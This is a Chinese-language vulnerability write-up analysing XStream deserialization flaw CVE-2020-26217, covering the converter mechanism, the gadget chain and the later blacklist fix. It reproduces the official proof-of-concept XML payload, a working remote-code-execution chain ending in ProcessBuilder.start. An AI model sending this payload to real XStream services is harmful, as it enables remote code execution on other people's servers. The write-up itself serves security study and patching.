XStream反序列化CVE-2020-26217漏洞分析

 

引言

近期,XStream发布了关于CVE-2020-26217的公告,通过该漏洞攻击者可发送恶意构造的xml,在受影响版本(<=1.4.13)的XStream上直接RCE。

 

XStream反序列化原理

与传统的Java反序列化不同,XStream反序列化的触发不依靠readObject,而是使用Converter(转换器)中的unmarshal。而Converter根据源码的注释,其用途为对象与xml文本之间的相互转换。

下面用一个简单的例子来演示,首先我们定义一个User

public class User {
    public String username;
}

然后使用XStream加载

XStream xStream = new XStream();
User user = (User)xStream.fromXML(new File("/Users/dinfinite/IdeaProjects/xstream/src/main/resources/payloads/user.xml"));

由于User类并未在Converter的转换类型中,因此使用ReflectionConverter进行unmarshal,该转换器判断能否转换的逻辑如下,即类存在且可访问

调用unmarshal将xml还原为User对象,完成反序列化的过程

 

XStream历史漏洞

在XStream过往的漏洞中,利用的核心为DynamicProxy类和EventHandler类,当存在dynamic-proxy标签时,会使用DynamicProxyConverter进行unmarshal,该操作会构造一个由用户指定handler的对应代理对象。

而恰好EventHandlerinvoke函数支持执行任意方法(根据传入的参数)

因此XStream官方的修复方式为,实现了一个类为InternalBlackList(黑名单转换器),当属性值为java.beans.EventHandler时,抛出异常,因此基于该类型的poc均失效

 

漏洞复现

以下为官方公告中给出的POC

<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                        <contentType>text/plain</contentType>
                        <is class='java.io.SequenceInputStream'>
                            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                                <iterator class='javax.imageio.spi.FilterIterator'>
                                    <iter class='java.util.ArrayList$Itr'>
                                        <cursor>0</cursor>
                                        <lastRet>-1</lastRet>
                                        <expectedModCount>1</expectedModCount>
                                        <outer-class>
                                            <java.lang.ProcessBuilder>
                                                <command>
                                                    <string>open</string>
                                                    <string>./</string>
                                                </command>
                                            </java.lang.ProcessBuilder>
                                        </outer-class>
                                    </iter>
                                    <filter class='javax.imageio.ImageIO$ContainsFilter'>
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>start</name>
                                    </filter>
                                    <next/>
                                </iterator>
                                <type>KEYS</type>
                            </e>
                            <in class='java.io.ByteArrayInputStream'>
                                <buf></buf>
                                <pos>0</pos>
                                <mark>0</mark>
                                <count>0</count>
                            </in>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
    </entry>
</map>

通过XStream加载上述XML,成功弹出计算器

 

漏洞分析

由于该漏洞触发链较长,为了便于理解,将整体的利用链分成四部分。

入口

由于DynamicProxy类和EventHandler类的组合拳失效,因此这次漏洞并没有利用动态代理转换器,漏洞的触发点在MapConverter中,其unmarshal函数如下

可以看到,传入的XML文本(转换为reader),被传递到了填充map的函数中,进一步跟进,流程走到了putCurrentEntryIntoMap函数中,该函数的作用为将对应的key和value(从XML中解析,对应POC中的<jdk.nashorn.internal.objects.NativeString><string>)放到HashMap中,由此触发HashMap的put方法,进入纽带1阶段

纽带1

由于在Java中HashMap需要计算HashCode,因此作为key的jdk.nashorn.internal.objects.NativeString,会调用其hashCode方法

纽带2

由于jdk.nashorn.internal.objects.NativeStringhashCode会先调用getStringValue(),它调用当前类的属性valuetoString方法,由于valuecom.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data类,它的toString会触发自身的get函数

get函数调用readForm读取自身的DataSource中的InputStream

终点方法

在读取的过程中,会遍历InputStream中的子元素

javax.swing.MultiUIDefaultsEnumerator类的nextElement,会调用自身迭代器的next函数,其next函数中额外调用了advance函数

advance函数额外调用了filter属性的filter方法

javax.imageio.ContainsFilter类的filter方法如下

可以看到,只要method以及elt可控,即可执行任意类任意方法,实现RCE。而methodelt在先前的ReflectionConverter中,已经填充完毕,对应POC中的<filter><iter>元素。

 

漏洞修复

其实官方早在1.4.7的时候,就加入了针对XStream自身的安全框架

然而框架本身并未提供任何默认策略,需要用户手动调用addPermission进行配置,因此,在1.4.13之前的版本,其防御手段都是依靠修改Converter,包括InternalBlackListReflectionConverter,在转换时将其拦截。在1.4.13中,默认加入了EventHandler的黑名单

1.4.14中,加入了java.lang.ProcessBuilderjavax.imageio.ImageIO$ContainsFilter的黑名单

当我们在1.4.14中再次执行POC时,会发现抛出了ForbiddenClassException异常。

跟踪其调用栈,发现SecurityMapper会存取到Converter当中,当Converter试图获取标签的类时,会先遍历自身的Mapper(其中包括SecurityMapper)

此时假设匹配到黑名单类,直接抛出异常。

 

参考链接

Java XStream反序列化漏洞

(完)